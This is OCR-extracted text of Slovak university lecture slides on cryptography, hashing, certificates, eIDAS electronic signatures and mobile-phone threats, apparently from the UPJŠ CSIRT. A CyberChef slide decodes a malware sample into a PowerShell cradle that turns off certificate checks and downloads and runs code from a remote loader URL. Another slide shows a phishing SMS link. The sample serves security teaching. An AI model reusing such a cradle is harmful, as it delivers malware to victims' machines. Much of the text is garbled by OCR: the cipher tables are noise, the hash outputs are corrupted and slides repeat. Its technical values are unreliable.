1 Gnulpkcnwbew
18:
11:
12:
13:
14:
15:
16:
17:
18:
19:
28:
21:
22
23:
24:
25:

Hovmgldoxcfx
Ipwnrmepydgy
Jgxosnfgzehz
Kryptografia
Lszguphsbgib
Mtarvgitchkc
Nubswrjudild
Ovctxskvejme
Puduytlufknt
Qxevzumxglog
Ryfwavnyhmph
Szgxbwozingi
Tahycxpajor]
Ubizdyqbkpsk
Vcjaezrclgtl
wdkbfasdmrum

Inixk
mojyl
npkzm
oglan
prmbo
gsncp
rtodg
super
tvgfs
uwrgt
vxshu
wytiv
XZUuju
yavkx
zbwly
acxmz
bdyna
cezab
dfapc
sghad

Options ¢ About / Support 0

+ 0O n =

Tr Raw Bytes &= LF

0@

°e
(@ 2ms T Raw Bytes < LF 90



K Kryptografia vs. kddovanie (l.)

= Kryptografia — tajomstvo

= K6édovanie — bez tajomstva
" Pozname ,,prevod”

= KRYPTOGRAFIA NA UPJS JE SUPER! ->
4b525950544f475241464941204e412055504a53204a4520535550455221

= TEXT na HEX, pri ASCIl kédovani
= Arabsky text - & »elUPIS 123
= Cinsky text - UPJS BN HEERA TR 15 |
= Paleografia
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Download CyberChef ¥
Operations

more

To Morse Code

From Morse Code

L/MA Compress
Microsoft Script Decoder
LZMA Decompress

From Quoted Printable
Randomize Colour Palette
Adler-32 Checksum
Blowfish Decrypt

Blowfish Encrypt

Kryptografia vs. kédovanie (II,.')

Last build: 4 months ago - Version 10 is herel Read about the ne...

Recipe

To Morse Code

Format options

-/

‘Waord delimiter
Line feed

a [ i Input

Q Kryptogratia

Letter delimiter
Space

STEP g
Auto Bake -
rmc 71 = 3

Options ¢ About / Support
+ 0=z n =

je Suped

Tt Raw Bytes &= LF

BO @A ::

(9 2ms  Tr Raw Bytes &= LF

Zdroj: https://gchq.github.io/CyberChef/
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ANY

INTERACTIVE MALWARE
HUNTING SERVICE

MALWARE HUNTING WITH

IV ACCESS T0 THE

HEART OF AN INGIDENT

Watch the epidemic as if it was on your computer,

but in a more convenient and secure way,
with a variety of monitoring features.

000 ANY.RUN

https://any.run

Ooops, your files have been encrypted! i g

puter?

100 0230

= https://app.any.run/tasks/3e092e4a-424e-
4109-88a0-266e4038e397/
= Base64 kodovanie

Zdroj: https://gchq.github.io/CyberChef/

Download CyberChef i Last build: 4 months ago - Version 10 is here! Read about the new ... Options ¢ About / Support

Operations Recipe

remov From Base64

Remove EXIF

A-7a-zB-9+/=

Remove Diacritics
Remove null bytes
Remove whitespace I:I .

Strict mode

Remove line numbers

‘ Remove null bytes
Defang IP Addresses

From Base58 Net.WebClient).DownloadString("https:/ .117: 888
8/loader/LHMESUB=");

Strip HTML tags

Strip HTTP headers

e STEP Auto Bake
ac 178 = 1 (© ens  Tr Raw Eytes &= LF

Remove non-alphabet chars

“ KcKB Kryptografia vs. kddovanie (lIl.)

Input + O] 8 ™=

MHBTQHKACHE@AGU&bQ&LAEdAZQB@&C4&UwBlAHIAngpﬂGH#ZQBQﬂGSAa
QBUAHQATQBhAGAAYQBENAGUACgBdADOADEBTAGUACEE 2AGUACEBDAGUACE
BeAGkAZgEpAGMAYQBBAGUAVEBhAGHAaQBKAGEAIABPAGBADEEDAGEADAB
SAGIAYQB]AGSAPQETACQAJABYAHUAZQBSADSASQBFAFZAKABOAGUAWAL
AEZAYgBqAGUAYWBBACAAT gB1AHQAL gBXAGUAY gBDAGWAAQB1AGAARADA
CAARABVAHCAbEBsAGBAYQEKAFMAdABYAGKAbZENACEAT gBoAHOQAdABWAH
MAOgAVACEAMOQAIADAAL gAXADMAMAAUADUANQAUADEAMQAZADOADALWADE
AMAAVAGWABWEhAGQAZQBYACBATABIAESARQBZAFUAMARSACTAKQATAA=

s 456 = 1 Tr Raw Bytes &= LF

Output a I_|:| M[ o

[System.Net.ServicePointManager]: ServerCertificatevalida
tionCallback={$true}; IEX(New-Object




O nas

CSIRT-UPJS je prvy akademicky CSIRT v Slovenskej republike. Clenmi timu st zamestnanci a
Studenti Centra informaénych a komunikaénych technolégii, Prirodovedeckej a Pravnickej fakulty.
Dna 14.12.2016 sme boli zaradeni do zoznamu timov na rieSenie bezpeénostnych incidentov
vedeného medzinarodnou organizaciou TF-CSIRT (Trusted Introducer).

-
TF-CSIRT
\ ) Trusted Introducer
Hlavnymi éinnostami CSIRT timu su:

® vykonavanie proaktivnych (prevenénych) ¢innosti a reaktivnych ¢innosti smerujtcich
k minimalizacii po&tu bezpecnostnych incidentov, resp. kzniZeniu dopadu vpripade ich
vyskytu

® zyySovanie bezpecnostného povedomia zamestnancov astudentov univerzity

® iné ¢innosti nevyhnutné kzabezpeceniu informaénej bezpecnosti univerzity.

Vsetky informacie o nasom time z tejto webovej stranky najdete na jednom mieste v REC-2350
dokumente.
K dispozicii je aj podpis dokumentu pre overenie,

Zdroj: https://csirt.upjs.sk/#/o-nas

Hesovacie funkcie (I.)

O nas

CSIRT-UPIS je prvy akademicky CSIRT v Slovenskej republike. Clenmi timu st zamestnanci a
studenti Centra informacénych a komunika&nych technoldgii, Prirodovedeckej a Pravnickej fakulty.
Dna 14.12.2016 sme boli zaradeni do zoznamu timov na riesenie bezpecnostnych incidentov
vedeného medzinarodnou organizaciou TF-CSIRT (Trusted Introducer).

-
TF-CSIRT
\ ) Trusted Introducer
Hlavnymi éinnostami CSIRT timu su:

¢ vykondvanie proaktivnych (prevenénych) ¢innosti a reaktivnych ¢innosti smerujtcich
kzvyseniu poctu bezpecnostnych incidentov, resp. kzniZzeniu dopadu vpripade ich vyskytu

® zyySovanie bezpecnostného povedomia zamestnancov a studentov univerzity

® iné ¢innosti nevyhnutné kzabezpeceniu informacénej bezpelnosti univerzity.

Vsetky informacie o naSom time z tejto webovej stranky najdete na jednom mieste v REC-2350
dokumente,
K dispozicii je aj podpis dokumentu pre overenie.
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O nas

CSIRT-UPJS je prvy akademicky CSIRT v Slovenskej republike. Clenmi timu st zamestnanci a

Studenti Centra informaénych a komunikaénych technolégii, Prirodovedeckej a Pravnickej fakulty.

Dna 14.12.2016 sme boli zaradeni do zoznamu timov na rieSenie bezpeénostnych incidentov
vedeného medzinarodnou organizaciou TF-CSIRT (Trusted Introducer).

-
TF-CSIRT
\ ) Trusted Introducer
Hlavnymi éinnostami CSIRT timu su:

ivnych (prevenénych) ¢innosti areaktivnych ¢innosti smerujlcich
ezpecnostnych incidentov, resp. kznizeniu dopadu vpripade ich

minimalizéacii poctu [

® zyySovanie bezpecnostného povedomia zamestnancov astudentov univerzity
® iné ¢innosti nevyhnutné kzabezpeceniu informaénej bezpecnosti univerzity.

Vsetky informacie o nasom time z tejto webovej stranky najdete na jednom mieste v REC-2350
dokumente.
K dispozicii je aj podpis dokumentu pre overenie,

Zdroj: https://csirt.upjs.sk/#/o-nas

Hesovacie funkcie (l1.)

O nas

CSIRT-UPIS je prvy akademicky CSIRT v Slovenskej republike. Clenmi timu st zamestnanci a
studenti Centra informacénych a komunika&nych technoldgii, Prirodovedeckej a Pravnickej fakulty.
Dna 14.12.2016 sme boli zaradeni do zoznamu timov na riesenie bezpecnostnych incidentov
vedeného medzinarodnou organizaciou TF-CSIRT (Trusted Introducer).

ST
\W) Trosicd itroducer

Hlavnymi éinnostami CSIRT timu su:

® iné ¢innosti nevyhnutné kzabezpeceniu informacénej bezpelnosti univerzity.

Vsetky informacie o naSom time z tejto webovej stranky najdete na jednom mieste v REC-2350
dokumente,
K dispozicii je aj podpis dokumentu pre overenie.

95



" (kKB HeSovacie funkcie (ll1.)

= HesSovacia funkcia je jednosmerna funkcia,
ktord pre retazec lubovolnej dizky vrati retazec
pevnej dizky.
= 7Zname hesSovanie funkcie:

= MD5 (Message-digest 5)

= SHA-1 (Secure hash algorithm 1)

s ~ "
Ry AT
.24 ¢ Rl
LS ey B o prowes e >
e g ” S W 1ot
sy \

’ \
be \
B 3 } : <\
i R LY \
o SNEL LR T 1 . :
R L U6 T NOL T

Vstup: Kryptografia je super Zdroj: htps:/forww allorarera o e e oLt e e e e e N
= MD5: 554026e0cabeb262dd8b023844836f12

= SHAO: 18737b274b8cbc74bc6c3c41ab0abfefd53eccba

= SHA2 256: 9da27dffa85eff005104df7ce43d63ae913b9a24d4e98a14f68980e3923cc8
= |M Hash: O6F6B1AA290EA7EO0A47539F1B0511046

= NT Hash: 26D6089127567D17C9E5FD1554F57BA0
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%

NERZIT,
o )

Download CyberChef ¥

Networking
Language
Utils

Date / Time
Extractors
Compression
Hashing
Analyse hash
Generate all hashes
MD2

MD4

MD5

MD6

SHAQ

SHA1

SHA2

SHA3

SM3

Keccak
Shake
RIPEMD
HAS-160

Whirlpool

Zdroj: https://gchq.github.io/CyberChef/

Recipe

Generate all hashes

Lenath (bits)
All

STEP

HeSovacie fun

Last build: 4 months ago - Version 10 is here! Read about the new features here

Include names

Q n

Auto Bake

Options a About / Support o

Input + O5 § =

Kryptografia je super‘|

ac 2l = 1 @ 21 Tr Raw Bytes &= LF
Output B0 m::
HD2: lach41bbfoc131d2722b458156033F

MD4: 86711125626d219da%e3cfeafsasessb

MD5: 55482628Ccabeb262dd8be23844836f12

MD6&: 7668bcfeat2542b3171caaddel5285272f666086a71d8a5df422583bfScecfbfa

SHAR: 18737b274b8cbc7abchc3calabaabfefdsleccha

SHAL: a866664366ea4belb75065d2fc61a7383bbE063d

SHAZ2 224: 7224de79e253f9cebbab3a@57051f@f6c2712582fabbB13e47f6aaed

SHA2 256: Oda27dffa85effBe5104df7ced3d632e913b0a24d4208a14F68080823023CCBRE
SHAZ 384: 231c272e6f9da2ddc155ec32367eRd7495a3T8ac414458a89e5841dC8dT16812017059a4db159d7a%91a29@31e9c5ha41
SHAZ 512:

13ff676bb5el42bof6ccdafB85f878eb023522148e14246341761311b282668413achB815cd2bf88b5405cc27bAdeac23aad42660601b872a2b7e
fae78f8daclz

SHA3 224: ddf46e924a15a2387946bB85T 3585001203 c0ebebd2b28dedd45fba

SHAZ 256: 4b8fB296+11cacl302015b3e29d11ea7bb18615c111dcchef6dSabf7141062bs

SHAZ 384: 3498fcaadcd422d201069dd2801a3b2tb1fa367=b13fdfaf56861340dcT716¥d127d14ceb@c3becld57eel546Fd2313cel
SHA3 512:

b3ca9%b9a%9bff1co5dbf78cbacbcf9338f0e50897ec57cfdf3b15a417914edbdabd3dceec24942data7badadeeda®ld2e21817ddea238cbsbade
c782fefsi2ds

Keccak 224: 801dfosffesha2c27e63180a91142c4e48ac8c4087225232a867bedb
Keccak 256: ad3ddf2ebel2f2575ea4c8bld42281e3ach26le3ece8bdeac246TcbdcBb228cf
ac 2778 = 54 (© 7ms  Tr Raw Bytes & LF 97



" GkeKB Asymetricka kryptografia (I.)

Alica N Bob

B a—=

1

Verejny kluc Sukromny, privatny kluc

98



6 - Gexe Asymetricka kryptografia (Il.)

RSA (Rivest—-Shamir—Adleman)
" Problém faktorizacie

ElGamal

" Problém diskrétneho logaritmu

ECDSA
= Eliptické krivky

3240

/\

/\ /\
/\ /\ /l\

2 & £

Elliptic Curve Digital Signature Algorithm

Zdroj: https://www.explos m/138783/what-is-p rrrrr factor ization/,
https://metamug.com/art I/ sign-verify-digital-signa ecdsa-java.html
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<F

ZEFA § .
\}50 . ﬂ»{?’ - <
& % s
€) ~Ccks
g g \\ -
Z NN
1‘9 -

AJ""!aiso“ )

Online nastroj

= https://8gwifi.org/rsafunctions.jsp
= https://shorturl.at/JK65n

= RSA asymetricka Sifra

Generate RSA Key Size (/512 bit
® Encrypt to RSA Encryption

Asymetricka kryptografia (III.)

RSA Encryption Decryption

Decrypt RSA Message

Public Key

MIIBJANBgkghkiGOWOBAQEFAAOCAQSA
MIIBCgKCAQEAuUsZCOxd4b+KTZFxKgh8Y
C1/GBoboPdv5N9t65n2HQDtpOj+rZPsm8
WkOUHOTWrJN8R20kvbnduXwCcEasEoB
RuV4TIYFpYh319hZ0en954Um+yKOd9Dh
OPVLHOggX6nurd53gM4ro9lrDtQVSlv
4bGdVw8jE+z0X85ZVFyg+wSHXFzeiUYZz
FMy7bwHNv8zrkFea8vqqKyPxfuF4105
c787JZTz6WvIxWVlaeEx8mfzVYwRsJanyjG

ClearText Message

Ahoj sveﬂ

1024 bit ®2048 bit 4096 bit

Private Key

MIIEpAIBAAKCAQEAuUsZCOxd4b+KTZFxKg
b8YC1/GBoboPdv5N9t65n2HQDtpOj+r
ZPsm8WkOUHOTWrJN8R20kvbnduXwCcE
asEoBRuVATIYFpYh3I19hZ0en9s4Um+yK
Od9Dh0OPVLHOggX6nur453gM4ro9lrDtQ
VOlvabGdVw8jE+zoX85ZVFyg+wSHXFze
iUYZzFMy7bwHNv8zrkFea8vqqKyPxfuF41
05c787JZTz6WvIxXWVIaeEx8mfzVYwR
sJanyjG81Bdp8z/EHTgNV6+1qClctc5vpkk

output

Gd2hr9me4oR4a65SQVGr33HHZIUSrLKbSb
14hYHOMJJFLGEs/saWYeGRAJID/diunjz6Ul

NN 7L aCC Al I M C VA imn « 7TAEL W Tl 1 CVATD
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Sifrovanie vs. podpisovanie (1.)

w0

Sukromny klG¢

8’(&

Verejny kl'uc

101



Verejny kl'uc

OVERENIE PODPISU
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Certifikat (1.)

podpisuje verifikuje ()
>
Alica /A O o 8 /( E '3_)\ S0IIS
Sukromny kluc Verejny kl'uc
A A

? ?
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%

GWERZTA

Alica

podpisuje

Certifikat (Il.)

verifikuje

Sukromny kl't¢
A

Riesenie:

Certifikit X

Vieobecné  Podrobnost | Certifikacna cesta

Zobrazit: | <Vietky> hd
Pole Hodnota ~
[Elvydavater R3, Let’s Encrypt, US
Flatny od nedefa 21, februdra 2021 0:5...
[Elratng do sobota 22, maja 2021 0:51:09
[=lorsiter wiw.ja-sr sk

iny Kl

[=lparametre vereiného kiiica 0500
fi|Rozsirens pousitie kiiica Overerie servera (1.3.6,1.5.5...
=l Stnr Lfiia drditela  1210hAAdfadrghadoRRAOhnES Y

30 82 02 0a 02 82 02 01 00 c6 4a 36 cd b3 Be ac cc 57 €3 Be 20 e 2f A
21 cf d2 37 2B 2a 4 4127 ad 75 fe Oc 3e 85 72 &2 b3 03 24 Je 45 €0
Be 7d 14 56 65 50 14 £3 0a 0a 65 94 90 33 1b 74 d6 bd Oc 0a 18 d3 48
5b c3 c5 69 42 ea 58 40 6b bd 2d ad 73 37 0 14 4 a5 4528 2d 13

3c b0 50 3a €2 42 59 b 47 55 c1 4d 63 2b 73 71 66 af b4 39 6e 40 57

ed a4 cf 4c €2 b3 ¢ 4b a5 cb 2b b7 a4 43 0c 66 50 d5 18 1d €0 de.

ac 52 f 1b 9d 6c b0 a6 2a 16 92 03 9e b2 ba 91 1d 41 cf 8b 41 57 3b.

12 0e 30 b6 9d 12581 2a6fbd 7899 73adc0 30 caBd 38 133e 5¢ o,

Upravit'vlastosti... | [Kopirovat'do stboru...

Verejny kl'uc
A

R
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Certifikaty zvazuju verejny kl'dc a vlastnika kluca.

Certifikat pre elektronicky podpis je elektronické
osvedcenie, ktoré spdja udaje na validaciu elektronického
podpisu s fyzickou osobou a potvrdzuje aspon jej meno
alebo pseudonym (Nariadenie elDAS)

Certifikat (ll1.)

A

VSeobecné Ppodrobnosti  Certifikaéna cesta

g; Informacie o certifikate

Tento certifikat sa bude pouzivat’ na nasledovné tcely:

¢ Chrani e-mailové spravy
¢ 1.3.158.35975946.0.0.0.1.11
©2.23.140.1.5.3.3

Vydany pre Pavol Sokol

Vydavatel”: CA Disig R2I5 Certification Service

Platny od 28. 11. 2023 do 27. 11. 2025

OK
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R Certifikadnd autorita (I.)

=  Problém so spravou certifikatov
=  (tok — Utocnik v strede (man in the middle attack)
= Potreba autority — 3. nezavislej strany

106



R Certifika&nd autorita (Il.)

= Nezavisla autorita — spravuje certifikaty — vydava, overuje, rusi ...

Certifikacna autorita

Trojuholnikova dovera
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-
.

- Certifikacna autorita (11.)

= Poskytovatelia déveryhodnych sluzieb = certifikacné autority + ...

@ [V

@ cA
[[] ./ esignatures
[ @ eseas
[J @ website

v IEREN

D ../ eSignatures
D ® eSeals

Status
Granted

Countries

SEARCH

—==AT, 0 WBE,mmBG, = CvV, ...

B elDAS

Regulation

Map go.elDAS Blog Forum

News

Trust Service Providers

NLB d.d.
POSTA SLOVENIJE d.o.0. i
Ministry of Defence of Slovenia
EIUS d.o.0. [N N 2N
Rekono d.o.o. é
SETCCE D.O.O. (2%
National Security Authority ['o%
Cybersecurity Competence and Certification Centre &
Disig, a.s.

Ministry of Defence Slovak Republic i
First certification authority, a.s. i

National Agency for Network and
Electronic Services

Ardaco a.s. é @\

brainit.sk, s. r. 0.

Prvni certifikacni autorita, s.r.o. l

Zdroj: https://www.eid.as/tsp-map/#/

go.eIDAS e.V. | © 2025 | Imprint « Contact | Privacy Policy
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Zivotny cyklus certifikatu (1. )

Obnovenie

certifikatu

, Y

Vydanie Platnost Exspiracia
. . , — . . , — . . y
certifikatu certifikatu certifikatu

A

l

: Zoznam
Odvolanie

odvolanych
certifikatov

certifikatu
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Platnost certifikatov

polozky Not before (od) a Not after (do)

overenie platnosti certifikatu (doba, CRL, certifikacna
cesta)

Platnost certifikatu sa moze ukoncit 3 sposobmi:
» ukoncenim platnosti certifikatu
= obnovenim certifikatu
= zruSenim certifikatu

Subjekty:
= podpisovatel elektronického podpisu

overovatel elektronického podpisu

Zivotny cyklus certifikatu (I1.)

Certifikat

Vieobené  podrobnosti  Certifikaénd cesta

?; Informacie o certifikate

Tento certifikat sa bude pouzivat’ na nasledovné icely:

« Dokazuje vaiu identitu vzdialenému poditadu
» Zaruduje identitu vedialeného poditada

e 2.16.6840.1. 119912, 1.1

2, 23,1401, 2.2

* Podrobnosti najdete vao vyhlaseni certifikadnej autority,

Vydany prewww,upjs.sk

Vydavatel: TEREMA S5L CA 3

Platny od 19. 3. 2020 do 24. 3. 2022

L‘l:_-'.yhlésenie vydavatela i

Ok
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Zivotny cyklus certifikatu (III. )

Zoznam zruSenych certifikatov - certificate revocation list (CRL)

elektronicky dokument, ktorym vydavatel certifikatov, ktory spravuje tieto certifikaty, oznamuje
predcasné ukoncenie ich platnosti.

periodicita vydavania
Standard RFC 5280

C e | commam e it |l

Viecbené | Zoznam zruenych certifikitoy | | Vieobecné | Zoznam zrugenych certifikatov |

«_ | Informacie o zozname zrusenych certifikatov Zrusene certifikaty:

*

X Sériové Sslo Datum zrufenia +

022170bbef42d0c0 705623 00... 6, maja 2011 11:54:09

Pole Hodnota 0222 fcdcB8b Bc 526f Sc6e fO00D... 8. aprila 2011 9:15:34

D"."EFEia V2 02239 e5 1b b3 3532 52 3= 7700 ... 15, februara 2011 103:0... _|
S ) 02 25 4d Of df df f0 ca 4d 2fc400 00... 18. februdra 2011 9:16... _

B'I.-'ydauatel' CA Disig, Disig a.s., Bratislava, 5K - . . )

BPIamnst’nd 13. novembra 2011 23:00:00 danic arugent

E]filalﬁia aktualizada 14, novembra 2011 23:00:00 Zadanie zrusenia

DPudpiswﬁ' glgoritmus  sha1RSA Fale Hodnota

E]'fﬂdpiﬂw?? hashova... shal Sériové dHslo 02 23 9e e5 1b b3 35 32 52 3e 770...

&1 Cislo zoznamu zrus...  2c ff Détum zruenia 15. februdra 2011 10:02: 14

G| Identifikator kii&a ... Identifikdcia kliZa=8d b2 49 63 9...
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Podpis (I.)

= |atinského slovo ,signum” <:><:>

= podpis priestorovo a obsahovo uzaviera nielen listinu, /
ale i samotny pisomny pravny ukon /QLn/’
/1 L
=  Podpis plni nasledujuce funkcie:
= oznacovaciu funkciu — oznacuje osobu, ktora l

Y

M

vykonala pravny ukon

= deklaracnu funkciu — potvrdzuje obsah prejav véle

danej osoby

= dokaznu funkciu — potvrdzuje, ze dany prejav vole

bol dany
112



NCCl: Podpis (lI.)

V pravnej teodrii a praxi sa rozoznava niekolko druhov podpisov:

vlastnorucny podpis

overeny, resp. osvedceny podpis
e udelenie opravnenia na pristup a disponovanie s elektronickou schrankou

podpis nahradeny mechanickymi prostriedkami
* nahradenie podpisu pomocou peciatky Ci faksimili, naskenovanie podpisu

elektronicky podpis (aj zdokonaleny, kvalifikovany)
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* @kcKB Podpis (l11.)

= Prostriedok na vytvorenie podpisu vs. Vysledok procesu pisania (vytvorenia podpisu)
= Prostriedok —ruka, resp. koncatina

= Obrazok — ruka -> podpis
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Elektronicky podpis (I.)

Pravna Uprava

= NARIADENIE EUROPSKEHO PARLAMENTU A RADY (EU) &. 910/2014 o elektronickej identifikacii a
doéveryhodnych sluzbach pre elektronické transakcie na vnutornom trhu (Nariadenie elDAS) a o
zruSeni smernice 1999/93/ES

= Zakon €. 272/2016 Z. z. o déveryhodnych sluzbach
3 typy elektronického podpisu:

= (obycajny) elektronicky podpis

= zdokonaleny elektronicky podpis

= kvalifikovany elektronicky podpis

vyssSi typ elektronického podpisu -> lepsSie technické zabezpecenie -> vacsia pravna istota

r6zna forma technickej realizacie - email, naskenovany podpis, dynamické biometrické podpisy ...
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* Nepopieratelnost Kvalifikované

Elektronicky podpis e Autentickost zariadenie
* Integrita Kvalifikovany

certifikat

Zdokonaleny elektronicky podpis

Kvalifikovany elektronicky podpis
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(Obycajny) elektronicky podpis (l.)

Clanok IL

(0 by‘claj ny’) e I e kt ron ic ky' pOd p i S Odstiipenie od Zmluvy zo strany objednavatela/zhotovitePa

Objednavatel’/Zhotovitel’ odstupuje od zmluvy z dovodu ..........cooooooviinnn

[Zhotovitel si nesplnil v stanovenej lehote svoju povinnost’ dodat’ predmet Zmluvy.]

(™= i . . , R Objednavatel’/Zhotovitel’ vyuzil svoje pravo jednostranne odstipit od Zmluvy v zmysle § 642 = _ . &
u SU u d aJ eve I e kt ronic keJ fo rm e’ kto re su Obcianskeho zdkonnika v zneni neskor3ich predpisov. ia Pomocn  Q  Cheemz
. . s . . v , Toto odstiipenie bude zaslané zhotovitelovi/objednavatel'ovi na vedomie.
pripojené alebo logicky pridruzené k 0

| Diktovat' | Citlivost’ | |»

inym udajom v elektronickej forme a Vo 08

ktoré  podpisovatel  pouziva na
- A Za objednavatela:
podpisovanie; Pavsl Sekesl

= zikon o elektronickom podpise -
nepoznal tento typ v takomto zneni o e -
Test sprévy
= technicka realizacia — podpis v ramci
elektronickej  posty,  naskenovany e o o ottt e
podpis, dynamické biometrické podpisy
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“&exs  Zdokonaleny elektronicky podpis (I.)

= je elektronicky podpis, ktory musi spifiat dalsie poziadavky.

= zakon o EP - elektronicky podpis

=  Zdokonaleny elektronicky podpis
a) je jedinecne spojeny s podpisovatelom (nepopieratelnost podpisovatela)
b) umoznuje urCenie totoznosti podpisovatela (autentifikacia podpisovatela)

c) je vyhotoveny pomocou udajov na vyhotovenie elektronického podpisu, ktoré mobze

podpisovatel s vysokou mierou doveryhodnosti pouZivat pod svojou vyluénou kontrolou
(nepopieratel'nost podpisovatela)

d) je prepojeny s udajmi, ktoré sa nim podpisuju, takym spbésobom, Ze kazdu dodatocni zmenu
udajov mozno zistit (integrita podpisovaného elektronického dokumentu)
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“@&exe  Zdokonaleny elektronicky podpis (1I.)

= technicka realizacia — princip technologickej neutrality
» Poziadavky na technicku realizaciu:

= Autentickost (Authenticity) — rozpoznanie a jednoznacna identifikacia osoby podpisujuicej urcity

dokument v konkrétnom case,

Integrita (Integrity) — zarucenie nezmenenia Udajov pocas doby od podpisania po overenie

podpisu,

= Nepopieratelnost (Nonrepudiation) — znemozZnenie podpisovatelovi popriet, Ze dokument
podpisal on
= existujuca technicka realizacia — digitalny podpis
= asymetricka kryptografia — sukromny a verejny kluc

119



“&exs  Kvalifikovany elektronicky podpiS(I.) '

= Kvalifikovany elektronicky podpis je zdokonaleny elektronicky podpis, ktory navyse je:
= vyhotoveny s pouzitim kvalifikovaného zariadenia na vyhotovenie elektronického podpisu
= zalozeny na kvalifikovanom certifikate pre elektronické podpisy

= technicka realizacia — sukromny a verejny kluc

r’ R S—

+) SLOVENSKA REPUBLIKA siouax servmuc é\

L

Specimen
Vzorka
Wt b o N S e Tece W -
SVK 11.11.1911
L S I S R
F 111111/111
EAO00000 .
Darem ww o Do o w—
01.03.2025
rew . lveed by S0 rvtavin | Ote o e
Bratislava 01.03.2015

Zdroj: https://www.slovensko.sk/sk/fag/fag-eid/ 120



Kvalifikovany elektronicky podpis (II.)

Pravny ucinok elektronického podpisu a jeho pripustnost ako dokazu v sudnom konani sa
nesmie odmietnut vyluéne z toho dovodu, Ze ma elektronicki formu alebo Ze nesplia
poziadavky pre kvalifikované elektronické podpisy.

Kvalifikovany elektronicky podpis ma pravny ucinok rovnocenny s vlastnoru¢nym podpisom.
Kvalifikovany elektronicky podpis zalozeny na kvalifikovanom certifikate vydanom v jednom

clenskom State sa uznava ako kvalifikovany elektronicky podpis vo vsetkych ostatnych clenskych
Statoch. -> zabezpecenie interoperability

121



Sluzby vytvarajuce doveru (l.)

= Dovera (Trust)

= Elektronicka identifikacia
=  Sluzby vytvarajuce doveru
* Elektronické podpisy
* Elektronické pecate
* Elektronické casové peciatky
* Elektronické dorucovacie sluzby pre registrované zasielky
* Autentifikacia webovych sidiel
= Elektronické dokumenty
= Elektronické dorucovanie
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Sluzby vytvarajdce déveru (II...)

SbvenSkO Sk Kontakt ¥ English Autentiﬂ kéCi a 1

webového sidla
slovensko.sk J

ustredny portal verejnej spravy

elD

vypinenie Ziadosti
/ formulara

Chcem najst

# Byvanie F Cestovanie CaSOVé peélatka { Ele:)((t):jog':lkay
& Doprava @ Financie
- %
3 Kultara & Obéan adtat 4 \‘
h 4
U t?gzrsggwist' ¥ Rodina avztahy
= \g.ffz}gftlaniea &= Zamestnanie
. i Uchovanie
S o Lome Elekironicke | elektronickych
dorucovanie J ek ias v
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Smartfény su vsade

6.64Billion

smartphone users in the world today

83.72%

of people have smartphones today

Zdroj: https://www.bankmycell.com/blog/how-many-phones-are-in-the-world
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“@eke  Vyuzitie

= Chat, hovory, videohovory
= Fotenie

" Internet banking

= Bezkontaktné platby

= Navigacia

= Kl'uce od auta

= Doklady

= Druhy faktor pri overovani

= Sledovanie aktivit



Mobilné telefény ako ter¢ utokov

Internet bankingy slovenskych bank ohrozuje nebezpecny
malware, dokaze obist aj dvojfaktorovu autorizaciu

Softvér Pegasus nasadiliv
Madarsku na sledovanie vysSe
stovky osob

*

< -
Pegasus dokaze sledovat telefonysaj na Slovensku

Zdroj: https://www.nextech.sk/a/Internet-bankingy-slovenskych-bank-ohrozuje-nebezpecny-malware--dokaze-obist-aj-dvojfaktorovu-autorizaciu, 126
https://www.sme.sk/svet/c/softver-pegasus-nasadili-v-madarsku-na-sledovanie-vyse-stovky-osob, https://touchit.sk/pegasus-dokaze-sledovat-telefony-aj-na-slovensku/646885/
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Ako také utoky preblehaju?

= Aplikacie Standardne bezia v tzv.
sandboxe

= Sandbox je izolované prostredie, v
ktorom bezia aplikacie s obmedzenymi
opravneniami

= \V sandboxe maju len velmi limitované
opravnenia

Zdroj: https://www.goguardian.com/glossary/what-is-sandbox-security
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©) “G&cxs Pieskovisko pre
aplikacie

= Citlivé pristupy mimo pieskovisko vyzaduju

schvalenie uzivatela — tzv. povolenie
" Prave niektoré povolenia zneuzivaju utocnici

= Cieflom je zmanipulovat pouZivatela k

udeleniu pozadovanych povoleni

Apka Twitter Ziada o pristup
k mikroféonu

Vytvorte a tweetujte videa so zvukom
priamo cez Twitter

¢  SMS: povolenie

Spravy

SMS: PRISTUP PRE TUTO APLIKACIU

® Povolit

(O Zamietnuf

128



Zneuzivané povolenia - SMS

= Povolenie na SMS sa zneuziva na .

odcudzenie overovacich kodov

(napriklad do internet bankingu)

< Overovaci kod pre vase Apple
= Utocnici tak vedia obist aj ucty ID je: 749872

chranené dvojfaktorovym overenim Overovaci kod pre vase Apple
ID je: 288983
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Sluzby na zjednodu3enie ovladania

= Android podporuje instalaciu ,sluzieb na

zjednodusenie ovladania“

= Tieto sluzby umoznuju prekryvat obrazovku,

¢i zadavat text

= To md pomoct pouzivatelom so zrakovym (i

telesnym postihnutim pouzivat telefén
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“@&ecxs  SluZzby na zjednodusSenie ovladania (Il.)

TalkBack

= Utoé&nici vyuZivaju dané opravnenia na odcudzenie

Select to Speak

hesiel a prihlasovacich udajov

Switch Access

= Okno aplikacie prekryju svojim, neviditelnym, oknom,

Enable Google Update
Google Update

¢o im umoznuje zachytavat vSetky zadané data

Captions
Magnification gesture

Font size

Zdroj: https://gizmeek.com/everything-you-need-to-know-about-new-android-2020-virus-black-rock “
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" Geke Zneuzivanie bezpecnostnych
zranitelnosti

" Nie kazdy skodlivy softvér vsak vyzaduje , G @y 3 R

schvalenie pouZivatelom {D 0,
(585) 438-1637

* Niekedy staci otvorenie skodlivej webovej

stranky Ci iba prijatie textovej spravy Dear Customer, DHL shipment
No. #1751455027 is scheduled

for delivery on 28/06/2018,

= Uto€nici na to potrebuju zneuzit Manage delivery at https://
sunday-deals.com/tfaEO3gTD
bezpecnostné zranitelnosti v kode DHL.

Zdroj: https://www.kaspersky.com/blog/how-to-protect-from-pegasus-spyware/43453/
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Zneuzivanie bezpecnostnych
zranitelnosti (l1.)

" Rozlisujeme dva typy zranitelnosti:
= Zero-day
=" N-day
= Zero-day su pre verejnost nezndme, neopravené zranitelnosti

* N-day su uz opravené zranitelnosti

Zdroj: https://www.wallarm.com/what/explanation-of-the-zero-day-attack
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Zneuzivanie bezpecnostnych
zranitelnosti (lll.)

= Zero-day zranitelnosti su zneuzivané aj

armadami a tajnymi sluzbami Zero-Day Attack
* N-day zranitelnosti vyuziva aj ,bezny”
Skodlivy softvér Q —
H -

» Proces zneuZivania zranitelnosti sa nazyva ‘ 2 ’ ;
L
exploitacia

Zdroj: https://www.kaspersky.com/blog/how-to-protect-from-pegasus-spyware/43453/
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R - ZERODIUM Payouts for Mobiles’ o

' Up to Android FCP
$2,500,000 Zero Click
FCP: Full Chain with Persistence . i0S el
